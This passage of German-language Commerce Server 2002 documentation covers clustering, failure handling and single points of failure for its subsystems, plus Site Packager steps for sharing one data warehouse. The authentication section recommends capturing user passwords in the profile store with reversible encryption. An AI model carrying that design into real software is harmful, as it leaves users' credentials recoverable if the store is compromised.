  • Das NTFS-Dateisystem (für den Import und Export der XML-Katalogdatei)

Siehe auch

Replizieren des Kataloginhalts

Business Desk-Kataloge


Zielgruppenadressierungssystem

Die Geschäftslogik des Zielgruppenadressierungssystems von Commerce Server speichert alle Arbeitsinformationen einschließlich der Preisnachlass-, Anzeigen-, Versand- und Steuerdaten in einem Cache.

Das CacheManager-Objekt verfügt über eine eingebaute Wiederholungslogik, die mit der RetryInterval-Eigenschaft eingestellt werden kann.

Ein Zeitgeber für die Aktualisierung, der programmtechnisch durch die RefreshInterval-Eigenschaft des CacheManager-Objekts bestimmt wird, steuert die Häufigkeit, in der CacheManager ein bestimmtes Cache-Objekt aktualisiert. Bei jeder Aktualisierung des Caches wird eine Verbindung zur Datenbank aufgebaut. Der vorhandene Cache wird erst verworfen, wenn die Aktualisierung des Caches erfolgreich abgeschlossen ist.

Das Zielgruppenadressierungssystem kann auf mehreren Webservern installiert werden. Mithilfe eines NLB-Clusters aus SQL Server-Computern wird dann eine hohe Verfügbarkeit erreicht.

Die folgende Abbildung zeigt die kleinste Datenbanklösung, die Sie zum Erreichen der erforderlichen Clustering-Resultate benötigen. In dieser Darstellung ist der NLB-Cluster so konfiguriert, dass der Datenverkehr zuerst zum primären SQL-Server geleitet wird. Erst wenn der primäre Server ausfällt, wird der Datenverkehr zum sekundären SQL-Server umgeleitet.

Abbildung, die eine Möglichkeit eines Clusters für das Zielgruppenadressierungssystem zeigt

Folgende Einzelfehlerquellen haben direkten Einfluss auf das Zielgruppenadressierungssystem:

  • Das AppConfig-Objekt (zur Auffindung der Verbindungszeichenfolgen der erforderlichen Datenbanken)
  • Die Verwaltungsdatenbank (Initialisierung)
  • Die Katalogdatenbank (für Produktinformationen)
  • Die Profildatenbank (für Ausdrücke)
  • Die Marketingdatenbank


Direct Mailer

Direct Mailer kann als Clusterressource mit hoher Verfügbarkeit unter Nutzung von Windows Clustering bereitgestellt werden.

Direct Mailer hängt von SQL Server Agent ab, und SQL Server Agent ist clusterfähig. Daher kann die Direct Mailer-Datenbank in einer Windows Clustering-Konfiguration installiert werden.

Obwohl Direct Mailer nur einmal pro Site vorhanden sein darf (wie in der globalen Ressource von Direct Mailer festgelegt), können Sie Direct Mailer auf mehreren Servern installieren. Mehrere Direct Mailer-Dienste können aber nicht dieselbe Direct Mailer-Datenbank verwenden.

Zusätzlich zur Clusterfähigkeit bietet Direct Mailer eine Behandlung für Fehler, die im Direct Mailer-Datenbankcluster oder am Ablageort (SMTP oder Ablageverzeichnis) auftreten. Direct Mailer führt beispielsweise folgende Funktionen zur Fehlerbehandlung aus:

  • Direct Mailer stellt beim Start eine Datenbankverbindung her, um alle unterbrochenen Aufträge wiederherzustellen. Darüber hinaus werden Datenbankverbindungen für jeden Auftrag hergestellt. Wird eine Datenbankverbindung unterbrochen, ist Direct Mailer in der Lage, kurzzeitige Verbindungsfehler zu korrigieren.
  • Aufträge, die aufgrund von behebbaren Fehlern (z. B. ein Absturz des Servers oder eine vorübergehende Nichtverfügbarkeit des MSSQLSERVER-Dienstes) fehlgeschlagen sind, werden automatisch neu gestartet, wenn der Dienst wieder verfügbar ist.
  • Der Status jedes Auftrags wird über eine Adressenliste verfolgt. Abhängig vom Zeitpunkt des Auftretens eines Fehlers kann die letzte vor dem Fehler gesendete Nachricht noch einmal gesendet werden, wenn Direct Mailer neu gestartet wird.

Direct Mailer kann für den Einsatz mehrerer Threads konfiguriert werden, und es ist möglich, dass eine doppelte Nachricht für jeden Thread beim Neustart von Direct Mailer versendet wird. (Die Anzahl der doppelten Nachrichten entspricht normalerweise der Anzahl der Threads bzw. Prozesse.)

In der folgenden Tabelle werden die Fehlerbehandlungen aufgeführt, die für die entsprechenden Fehlermodi ausgelöst werden.

Fehlermodus | Aktion
Während der Import-/Exportvorbereitung der Sendung fällt der Listen-Manager aus. | Wenn der Fehler als behebbar (wenn z. B. SQL Server nicht verfügbar ist) und nicht als Datenproblem definiert wird, dann wird die Operation bis zu n-mal wiederholt. Andernfalls tritt ein Fehler auf.
Listen-Manager konnte nicht erstellt werden. | Fehler. Der Listen-Manager ist nicht clusterfähig.
Während einer Sendung fällt der Direct Mail-Datenbankserver aus. n-fache Wiederholung. Stellen Sie in Commerce Server-Manager folgende Direct Mailer-Eigenschaften ein:
  • Anzahl der Wiederholungen. Durch diesen Wert wird angegeben, wie oft der Verbindungsaufbau zur DirectMailer-Datenbank im Fall von Verbindungsfehlern wiederholt wird. Wenn alle Wiederholungen durchlaufen wurden, wird der aktive Auftrag beendet.
  • Wiederholungsintervall. Die Länge der Wartezeit zwischen den Wiederholungsversuchen.
Während einer Sendung ist ein SMTP-Server nicht mehr verfügbar. | Pause und n-fache Wiederholung. Ist die Verfügbarkeit nicht wiederhergestellt, wird der Eintrag aus der Liste entfernt. Handelt es sich um den letzten Eintrag der Liste, tritt ein Fehler auf.
Während einer Sendung ist ein Ablageverzeichnis nicht mehr verfügbar. | Pause und n-fache Wiederholung. Ist die Verfügbarkeit nicht wiederhergestellt, wird der Eintrag aus der Liste entfernt. Handelt es sich um den letzten Eintrag der Liste, tritt ein Fehler auf.

Direct Mailer wird auf einem SQL-Server als Windows-Dienst installiert. Zur Initialisierung greift Direct Mailer auf die Verwaltungsdatenbank zu und verwendet dann das Profilsystem, um Benutzerprofilinformationen zu erhalten, Direct Mailer für die Auftragsinformationen und IIS zum Rendern personalisierter Seiten. Schließlich verwendet Direct Mailer das Ablageverzeichnis von Exchange Server (oder einen SMTP-Server) zum Versenden der E-Mails. Folgende Einzelfehlerquellen haben direkten Einfluss auf Direct Mailer:

  • Das AppConfig-Objekt
  • Die Verwaltungsdatenbank (Initialisierung)
  • Listen-Manager
  • Direct Mailer-Datenbank
  • IIS
  • NTFS (Ablageverzeichnis von Exchange Server)
  • SMTP-Server (Socketverbindung)

Führen Sie folgende Schritte durch, um die Verfügbarkeit des Listen-Manager-Dienstes sicherzustellen:

  • Fassen Sie die Datenbanken, zu denen der Listen-Manager eine Verbindung aufbaut, zu einem Cluster zusammen: Die Kampagnendatenbank zur Verwendung von Commerce Server Business Desk und die Direct Mailer-Datenbank.
  • Listen-Manager fungiert als Server und als Client auf demselben physischen Computer und profitiert nicht vom Clustering. Stellen Sie für den Listen-Manager-Dienst kein Windows Clustering bereit.
  • Die Objekte und Dienste, die vom Listen-Manager verwendet werden, stellen immer nur Verbindungen zur lokalen Instanz her. Daher ist ein Clustering für den Listen-Manager überflüssig.

Siehe auch

Ausführen von Direct Mailer

Erstellen einer Direktsendung

Verwalten von Listen mit Benutzereinträgen


Authentifizierung

AuthFilter ist als ISAPI-Filter der Internetinformationsdienste (IIS) 5.0 implementiert (ISAPI: Internet Server Application Programming Interface). Es ruft das AuthManager-Objekt auf, um zum Initialisierungszeitpunkt Konfigurationsinformationen aus der Verwaltungsdatenbank (einschließlich der Parameter des Authentifizierungsmodus und des Verschlüsselungsschlüssels) zu erhalten. Die einzige Abhängigkeit von AuthFilter besteht zur Verwaltungsdatenbank.

Wenn ein Benutzer eine Site mit mehreren Webservern aufruft, wird die Anfrage auf der Grundlage des Lastenausgleichs oder eines Round-Robin-Algorithmus an einen bestimmten Server weitergeleitet. Wenn die Anfrage den Server erreicht, wird der Benutzer zur Anmeldung aufgefordert.

Wenn Sie für die Authentifizierung den Active Directory-Verzeichnisdienst verwenden, wird die Anmeldung vom ISAPI-Filter im Cache gespeichert und bezieht sich nur auf diesen einen Server. Commerce Server platziert außerdem einen Ticket-Cookie mit der Benutzer-ID auf dem Clientserver.

Um eine direkte Weiterleitung der Benutzer an andere Webserver im Cluster zu ermöglichen, müssen Sie sicherstellen, dass die ISAPI-Filter auf den anderen Servern ausreichende Informationen erhalten, um eine Anmeldung des Benutzers durchführen zu können. Sie müssen einen benutzerdefinierten Code schreiben, um diesen Prozess für den Benutzer unsichtbar zu machen. Führen Sie folgende Schritte aus, um den benutzerdefinierten Code zu schreiben:

  1. Erweitern Sie den Profilspeicher, um das Kennwort zu speichern.
  2. Erfassen Sie das Kennwort im Profilspeicher während der Anmeldung oder der Siteregistrierung.
  3. Ändern Sie die Siteregistrierungs- oder Anmeldungsseite, um das Vorhandensein des Ticket-Cookies zu überprüfen.

    Ist der Cookie vorhanden, verwenden Sie das MSCSAuthManager-Objekt, um die Benutzer-ID vom Cookie zu erhalten, und rufen Sie den Benutzernamen und das Kennwort aus dem Profilspeicher ab. Leiten Sie dann den Benutzernamen und das Kennwort an den ISAPI-Filter weiter.

Um in einem Cluster mit Lastenausgleich arbeiten zu können, müssen Sie die Kennwörter mit einer reversiblen Verschlüsselung speichern. Da Kennwörter auf der Anmeldungsseite erfasst und in den Profilspeicher geschrieben werden, werden auf dieser Seite auch Änderungen des Kennworts erfasst. Wenn zur Änderung von Kennwörtern während einer Browsersitzung allerdings Active Directory-Tools verwendet werden, wird der Benutzer zur Anmeldung aufgefordert und das neue Kennwort erfasst.

Hinweis

  • Sie können das hier genannte Authentifizierungsproblem auch durch Bereitstellung der Weiterleitungsfunktion für Anforderungen von Application Center angehen, die die Anfrage vor der Überprüfung der Authentifizierung weiterleitet und dann den Benutzer an den Server weiterleiten kann, der diesen Benutzer erkennt.


Geschäftsprozesspipeline

Pipelinekomponenten sind nicht für Wiederholungsversuche im Fehlerfall ausgelegt. Wenn die Pipeline die Verarbeitung unterbricht, schlägt der Pipelineprozess fehl und die Bestellung wird nicht bearbeitet.

Um eine hohe Verfügbarkeit zu erreichen, können Sie Code in der ASP-Seite implementieren, um fehlgeschlagene Pipelineprozesse wiederholt aufzurufen und nach n Fehlschlägen die Transaktion an eine andere Datenbank, Datei oder an Message Queuing zu richten.

Pipelinekomponenten können auf mehreren Webservern installiert und durch eine Einzel-IP-Lösung zu hoher Verfügbarkeit gebracht werden. Mithilfe des Netzwerklastenausgleichs können Sie einen einzelnen virtuellen Server aus allen Servern erstellen, auf denen Pipelinekomponenten installiert sind. Tritt ein Problem auf, werden der nicht funktionierende Server automatisch aus dem Cluster entfernt und die Lasten auf die übrigen Server im Cluster verteilt.

Die folgende Abbildung zeigt eine mögliche Variante zur Verteilung von Pipelinekomponenten.

Abbildung, die verteilte Pipelinekomponenten darstellt

Benutzerdefinierte Pipelinekomponenten können, wenn sie eine hohe CPU-Leistung erfordern, auf einem CLB-Server (Component Load Balancing) untergebracht werden. (Der CLB-Dienst für den Komponentenlastenausgleich ist in Microsoft Application Center 2000 verfügbar.) Die gemeinsame Nutzung von Daten durch mehrere Server verursacht Kosten, aber diese Kosten können annehmbar sein, wenn von der Komponente ein Großteil der Verarbeitung übernommen wird. Als Beispiel sei eine Site für digitale Medien angeführt, auf der Musik mit einem öffentlichen Schlüssel verschlüsselt wird, um der Piraterie vorzubeugen. Die Verschlüsselung erfordert eine hohe CPU-Leistung, daher könnte es sinnvoll sein, diesen Prozess auf einen anderen Server zu übertragen. Sie können die Server, auf denen die Verschlüsselungskomponente ausgeführt wird, zu einem Cluster zusammenfassen und sie mithilfe eines Webservers aktivieren, der zur Ausführung anderer Teile der Pipeline verwendet wird.

Die folgende Abbildung zeigt, wie Dienste mit intensiver CPU-Leistung von anderen Diensten getrennt werden können.

Abbildung, die eine Trennung zwischen Diensten mit intensiver CPU-Leistung und anderen Diensten zeigt

Die COM+-Pipelinekomponenten werden für den Zugriff auf die Order Processing-Pipeline (OPP) verwendet. Die Komponenten werden zu Pools zusammengefasst, aber es gibt eine Schnittstelle für die Initialisierung, Zurücksetzung und Wiederverwendung, die beim Wiederverwenden des OrderForm-Objekts im Pool aufgerufen wird. Sie können diese Schnittstelle verwenden, um Verbindungen, Speicherplatz usw. freizugeben, wenn das OrderForm-Objekt in den Pool zurückgegeben wird, und um Datenbankverbindungen zu initialisieren, wenn Komponenten angefordert werden.

Folgende Einzelfehlerquellen haben direkten Einfluss auf den Geschäftsprozesspipeline:

  • Das QueryCatalogInformation-Objekt, das auf die Katalogdatenbank zugreift
  • Die Transaktionsdatenbank (zum Speichern und Laden von Warenkörben und Bestellungen)
  • Remote COM+-Anwendungen (falls vorhanden)


Data Warehouse

Das Data Warehouse verfügt über Offline- und Online-Komponenten. Diese beiden Komponenten weisen sehr unterschiedliche Anforderungen auf. Eine sehr große Datenbank, die importierte Rohdaten enthält, sollte nicht für Abfragen verfügbar (offline) sein, während Daten importiert werden. Falls erforderlich, kann ein Cluster erstellt werden. Wenn Sie keinen hohen Grad der Verfügbarkeit für die Datenbank benötigen, können Sie sie alternativ auch regelmäßig auf Bändern oder anderen Festspeichermedien sichern. Commerce Server 2002 Data Warehouse unterstützt kein OLAP-Clustering.

Das Data Warehouse importiert IIS-Protokoller für das Geschäftsanalysesystem und das Zielgruppenadressierungssystem. Folgende Einzelfehlerquellen haben direkten Einfluss auf das Data Warehouse:

  • Die Verwaltungsdatenbank (Initialisierung)
  • IIS-Protokollimportprozess
  • IIS-Protokolldateisystem
  • DTS-Task (Data Transformation Services) für den Import von Produktkatalogen
  • DTS-Task für den Import von Transaktionsdaten (Warenkörbe und Bestellungen)
  • DTS-Task für den Profildatenimport
  • DTS-Task für den Kampagnendatenimport

Führen Sie folgende Schritte durch, um die Verfügbarkeit des Data Warehouse sicherzustellen:

  • Stellen Sie für die Verwaltungs-, Profil-, Katalog-, Transaktions- und Marketingdatenbanken Windows Clustering bereit.
  • Stellen Sie Windows Clustering für NTFS (IIS-Protokolldateisystem) bereit.

Bei OLAP-Cubes (Online Analytical Processing) handelt es sich um Datenstrukturen, die im Data Warehouse die importierten Daten aufnehmen. Das Geschäftsanalysesystem verwendet diese Daten, um statische und dynamische Berichte zu erstellen. Folgende Einzelfehlerquellen haben direkten Einfluss auf dieses System:

  • Die Verwaltungsdatenbank
  • Die Data Warehouse-Datenbank
  • Die OLAP/Analysis-Datenbank
  • Commerce Server Business Desk

Führen Sie folgende Schritte durch, um die Verfügbarkeit des Geschäftsanalysesystems sicherzustellen:

Stellen Sie für die Verwaltungsdatenbank und die Data Warehouse-Datenbank Windows Clustering bereit. Das Data Warehouse unterstützt kein OLAP-Clustering.

Hinweis

  • Computer, auf denen SQL Server ausgeführt wird, können unter Windows Clustering hinzugefügt werden. OLAP-Server können nicht mithilfe von Windows Clustering zu Clustern zusammengefasst werden.

Das Data Warehouse baut eine Datenbankverbindung für jeden DTS-Import- und Parser-Task auf. Die Verbindung wird für die Dauer des Prozesses aufrechterhalten und dann gelöscht. Wenn die Datenbank während des Prozesses nicht verfügbar ist, schlägt der Prozess fehl, kann aber neu gestartet werden. Wenn während des Importprozesses ein Fehler auftritt, müssen alle nur teilweise importierten Daten manuell gelöscht und alle DTS-Import-Tasks neu gestartet werden. Wenn ein Fehler bei der Cube-Erzeugung auftritt, muss der DTS-Nachbearbeitungs-Task neu gestartet werden.

Commerce Server Data Warehouse verfügt über verschiedene Features zur Steigerung der Zuverlässigkeit. Zu diesen Features zählen:

  • Taskwiederholung. Die Wiederholungsoptionen der Commerce Server DTS-Tasks werden zur Steuerung von Anzahl und Häufigkeit der Wiederholungsversuche von Commerce Server bei fehlgeschlagenen Tasks verwendet.
  • Neustart des Imports von Webprotokolldateien. Die Option für den Neustart des DTS-Tasks zum Import von Webprotokolldateien wird zur Steuerung des Verhaltens von Commerce Server beim Fehlschlagen des Imports von Webprotokolldateien nach dem Scheitern aller Wiederholungsversuche verwendet.
  • Taskverlauf. Mithilfe des Taskverlaufs von Commerce Server Manager kann der Status ausgeführter DTS-Tasks angezeigt werden.

Mithilfe dieser Features können Sie die Verfügbarkeit und Zuverlässigkeit des Data Warehouse maximieren, indem Sie den Importprozess erneut starten und fehlerhafte Protokolle überspringen.

Siehe auch

Ausführen des Data Warehouse


Bereitstellen von mehreren Sites, die gemeinsam ein einzelnes Data Warehouse nutzen

Sie können mehrere Microsoft Commerce Server-Sites bereitstellen, die ein einzelnes Data Warehouse gemeinsam nutzen. Sie können die Sites auf einem lokalen oder Remotecomputer entpacken und sie dem darauf installierten Data Warehouse hinzufügen.

Wichtig

  • Commerce Server-Berichte enthalten die Daten aller Sites innerhalb des Data Warehouse. Arbeiten Sie mit gruppierten Berichten, wenn Sie Berichte für eine einzelne Site ausführen möchten.

Informationen zur Nutzung eines einzelnen Data Warehouse mit mehreren Sites finden Sie unter Mehrere Sites und ein Data Warehouse.

Mit den folgenden Verfahren können Sie zwei Sites entpacken, die eine einzelne Data Warehouse-Ressource sowie eine einzelne Profilressource gemeinsam nutzen.

So entpacken Sie die erste Site

So fügen Sie dem Data Warehouse eine zusätzliche Site hinzu

So entpacken Sie die erste Site

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.
  2. Wählen Sie im Dialogfeld Willkommen die Option Aus Paketdatei (*.pup) entpacken, und klicken Sie auf Weiter.
  3. Geben Sie im Dialogfeld Entpacken den Pfad und den Dateinamen der zu entpackenden Datei ein, oder klicken Sie auf Durchsuchen.
  4. Nachdem Sie auf Durchsuchen geklickt haben, wechseln Sie im Dialogfeld Öffnen zu dem Ordner mit der zu entpackenden Datei, wählen Sie die Datei aus, und klicken Sie anschließend auf Öffnen.
  5. Wenn das Dialogfeld Entpacken wieder angezeigt wird, wählen Sie darin die Option Benutzerdefiniertes Entpacken aus, und klicken Sie anschließend auf Weiter.
  6. Wählen Sie im Dialogfeld Entpackmethode die Option Neue Site erstellen, und klicken Sie anschließend auf Weiter.
  7. Geben Sie im Dialogfeld Sitename den Namen der neuen Site ein, und klicken Sie dann auf Weiter.

    Hinweise

    Für den Sitenamen gelten folgende Beschränkungen:

    • Verwenden Sie im Namen keine Sonderzeichen, die möglicherweise von SQL Server-Datenbanken nicht erkannt werden können (z. B. #, @, % und '). Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.
    • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.
    • Der Sitename kann aus maximal 127 Zeichen bestehen.
  8. Wählen Sie im Dialogfeld Ressourcen auswählen die Option Alle hinzufügen, und klicken Sie anschließend auf Weiter.

    Hinweis

    • Im Dialogfeld Ressourcen auswählen müssen Sie die Ressourcen CS-Authentifizierung und Profile gemeinsam installieren. Sie sind nur funktionsfähig, wenn beide installiert sind.
  9. Wählen Sie im Dialogfeld Globale Ressourcenzeiger in der Liste Globale Ressourcenzeiger die Option Data Warehouse.
  10. Wählen Sie in der Dropdownliste Vorhandene globale Ressourcen die Option (Fügen Sie ein neue globale Ressource hinzu).
  11. Wählen Sie in der Liste Globale Ressourcenzeiger den Eintrag Profile, wählen Sie danach in der Dropdownliste Vorhandene globale Ressourcen den Eintrag (Fügen Sie eine neue globale Ressource hinzu), und klicken Sie anschließend auf Weiter.
  12. Im Dialogfeld Datenbank-Verbindungszeichenfolgen sind die Datenbanken aufgeführt, die Site Packager erstellen wird, sowie die Server, auf denen die Datenbanken erstellt werden. Zum Ändern der Datenbanken und Server klicken Sie auf Ändern. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften entweder den neuen Datenbanknamen und Servernamen aus oder geben Sie diese Namen ein, und klicken Sie anschließend auf OK.

    Hinweis

    • Wenn Sie eine Datenbank-Verbindungszeichenfolge kopieren möchten, wählen Sie die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Ändern. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften entweder den zu kopierenden Datenbanknamen und Servernamen aus oder geben Sie diese Namen ein, und klicken Sie anschließend auf OK. Wählen Sie im Dialogfeld Datenbank-Verbindungszeichenfolgen die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Kopieren. Wählen Sie die Zeile(n) aus, in die Sie die Verbindungszeichenfolge kopieren möchten, und klicken Sie anschließend auf Einfügen.
  13. Klicken Sie auf Weiter.
  14. Falls von Site Packager eine Datenbank erstellt werden muss, wird das Dialogfeld Commerce Server Site Packager angezeigt. Die von Ihnen in dieses Dialogfeld eingegebenen Informationen werden verwendet, um eine Verbindung zur Master-Datenbank Ihrer SQL Server-Installation herzustellen.
  15. Führen Sie im Dialogfeld Commerce Server Site Packager folgende Schritte aus:
    Funktion | Aktion
    Integrierte Sicherheit von Windows verwenden Wählen Sie diese Option, wenn Sie für die Datenbanken die integrierte Sicherheit von Windows verwenden möchten.

    Hinweis

    • Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Weitere Informationen zur Sicherheit in Commerce Server finden Sie unter Sichern der Site.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename | Geben Sie den SQL Server-Anmeldenamen für die Datenbanken ein.
    SQL Server-Anmeldekennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein.
  16. Klicken Sie auf OK.
  17. Überprüfen Sie im Dialogfeld Anwendungen auswählen, ob die zu entpackenden Anwendungen ausgewählt sind. Klicken Sie dann auf Weiter.
  18. Nehmen Sie im Dialogfeld Wählen Sie IIS-Computer, -Websites und -Pfade aus die folgenden Einstellungen vor:
    Funktion | Aktion
    IIS-Computername Geben Sie den Computernamen des IIS-Webservers ein, auf dem Sie die Anwendungsdateien entpacken möchten.

    Hinweis

    • Wenn Sie festlegen, dass die Anwendungsdateien auf einem Remoteserver entpackt werden sollen, muss auf dem Server Commerce Server 2002 installiert sein, damit Sie Business Desk darauf ausführen können.
    Aktualisieren
    • Klicken Sie zum Aktualisieren der Liste der Websites auf dem Remotecomputer auf diese Option.
    IIS-Website Wählen Sie den Namen der IIS-Website für die ausgewählten Anwendungen aus.

    Hinweis

    • Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    IIS-Pfad | Geben Sie den Namen des IIS-Pfades für die ausgewählten Anwendungen ein.

    Hinweise

    • Verzichten Sie in den Namen der virtuellen Verzeichnisse auf Sonderzeichen (wie #, @, % und '), um IIS-Fehler zu vermeiden.
    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.
    • Wenn Sie die Anwendung in den Stamm der Website entpacken möchten, können Sie wahlweise das Zeichen "/" verwenden oder das Feld leer lassen.
  19. Klicken Sie auf Weiter.
  20. Wenn der Site die Data Warehouse-Ressource hinzugefügt wurde, wird das Dialogfeld Data Warehouse angezeigt. Führen Sie zum Festlegen der Einstellungen für die Ressource Data Warehouse folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für die globale Data Warehouse-Ressource ein.
    Server | Eingeben des Namens des SQL Analysis (OLAP)-Computers.
    Datenbank | Eingeben des Namens der SQL Analysis (OLAP)-Datenbank.
  21. Klicken Sie auf OK.
  22. Wenn der Site die Ressource Profile hinzugefügt wurde, wird das erste von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

    Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:

    Funktion Aktion
    Profilschemadefinition Beim Packen der Site extrahiert Site Packager das Profilschema aus Ihrer Profildatenbank und speichert es in einer XML-Datei. Geben Sie die XML-Datei in diesem Feld an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei ProfileDefinition. Die Datei enthält folgende Profildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.
    Sitebegriffsdefinition Beim Packen der Site extrahiert Site Packager die Sitebegriffsdefinition aus der Datenbank und speichert sie in einer XML-Datei. Geben Sie die XML-Datei in diesem Feld an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei SiteTerms. Die Datei enthält die verfügbaren vordefinierten Sitebegriffe.
    Ausdrucksdefinition Beim Packen der Site extrahiert Site Packager die von Ihnen mithilfe von Business Desk festgelegten Ausdrucksdefinitionen und speichert sie in einer XML-Datei. Geben Sie die XML-Datei in diesem Feld an, damit sie entpackt wird.

    Wenn Sie eine Lösungssite entpacken, wird eine Standard-XML-Datei mit der Bezeichnung ExpressionDefinition bereitgestellt. Die Datei enthält keine vordefinierten Ausdrücke für die Lösungssite.
  23. Klicken Sie auf Weiter.
  24. Wenn der Site die Ressource Profile hinzugefügt wurde, wird das zweite von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

    Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:

    Funktion | Aktion
    Verbindungszeichenfolge für das Profilsystem | Übernehmen Sie die standardmäßig vorgeschlagene Verbindungszeichenfolge für die Profildatenbank, oder klicken Sie auf Ändern, um eine neue Verbindungszeichenfolge zu konfigurieren.
    Schemadefinitionsskripts (*.sql, *.vbs) Geben Sie das Schemadefinitionsskript für die Erstellung der Profiltabellen in den Laufzeit-Datenspeichern (die SQL-Tabellen, in denen die Benutzerdaten wie beispielsweise die Adresse, das Unternehmen usw. gespeichert werden).

    Wenn Sie eine Lösungssite entpacken, erstellt SCHEMAUPM_SQLSource.SQLSource die Tabellen für die Standardprofildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.

    Ein Beispielskript finden Sie in der Datei ProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Wenn Sie die Benutzerobjekt-Tabelle oder andere Profilschemadefinitionen modifizieren, müssen Sie SQL Server Enterprise Manager verwenden, um ein Skript zu erstellen, das hier verwendet werden kann. Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts (*.sql) Wenn Sie die Profildaten aus einer Profildatenbank extrahiert haben, können Sie Datenpopulierungsskripts angeben, von denen Ihre Daten beim Entpacken in die neue Profildatenbank importiert werden.

    Ein Beispielskript mit Daten für zwei Benutzer finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.
  25. Klicken Sie auf OK.
  26. Wenn Sie mit der integrierten Windows-Sicherheit arbeiten, prüfen Sie im Dialogfeld Commerce Server Site Packager die Liste der entpackten Ressourcen, die für die entsprechenden Windows-Konten Berechtigungen erfordern, und klicken Sie dann auf OK.
  27. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Um die Ereignisliste in der Protokolldatei von Site Packager zu überprüfen, klicken Sie auf Protokolldatei anzeigen.
  28. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.

So fügen Sie dem Data Warehouse eine zusätzliche Site hinzu

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.
  2. Wählen Sie im Dialogfeld Willkommen die Option Aus Paketdatei (*.pup) entpacken, und klicken Sie auf Weiter.
  3. Geben Sie im Dialogfeld Entpacken den Pfad und den Dateinamen der zu entpackenden Datei ein, oder klicken Sie auf Durchsuchen.
  4. Nachdem Sie auf Durchsuchen geklickt haben, wechseln Sie im Dialogfeld Öffnen zu dem Ordner mit der zu entpackenden Datei, wählen Sie die Datei aus, und klicken Sie anschließend auf Öffnen.
  5. Wenn das Dialogfeld Entpacken wieder angezeigt wird, wählen Sie darin die Option Benutzerdefiniertes Entpacken aus, und klicken Sie anschließend auf Weiter.
  6. Wählen Sie im Dialogfeld Entpackmethode die Option Neue Site erstellen, und klicken Sie anschließend auf Weiter.
  7. Geben Sie im Dialogfeld Sitename den Namen der neuen Site ein, und klicken Sie dann auf Weiter.

    Hinweis

    Für den Sitenamen gelten folgende Beschränkungen:

    • Verwenden Sie im Namen keine Sonderzeichen, die möglicherweise von SQL Server-Datenbanken nicht erkannt werden können (z. B. #, @, % und '). Weitere Informationen finden Sie in der SQL Server-Onlinedokumentation.
    • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.
    • Der Sitename kann aus maximal 127 Zeichen bestehen.
  8. Wählen Sie im Dialogfeld Ressourcen auswählen die Option Alle hinzufügen, und klicken Sie anschließend auf Weiter.

    Hinweis

    • Im Dialogfeld Ressourcen auswählen müssen Sie die Ressourcen CS-Authentifizierung und Profile gemeinsam installieren. Sie sind nur funktionsfähig, wenn beide installiert sind.
  9. Wählen Sie im Dialogfeld Globale Ressourcenzeiger in der Liste Globale Ressourcenzeiger die Option Data Warehouse.
  10. Wählen Sie in der Dropdownliste Vorhandene globale Ressourcen eine vorhandene Data Warehouse-Ressource für Ihre Site.
  11. Wählen Sie im Dialogfeld Globale Ressourcenzeiger in der Liste Globale Ressourcenzeiger die Option Profile.
  12. Wählen Sie in der Dropdownliste Vorhandene globale Ressourcen eine vorhandene Profilressource für die Site, und klicken Sie anschließend auf Weiter.
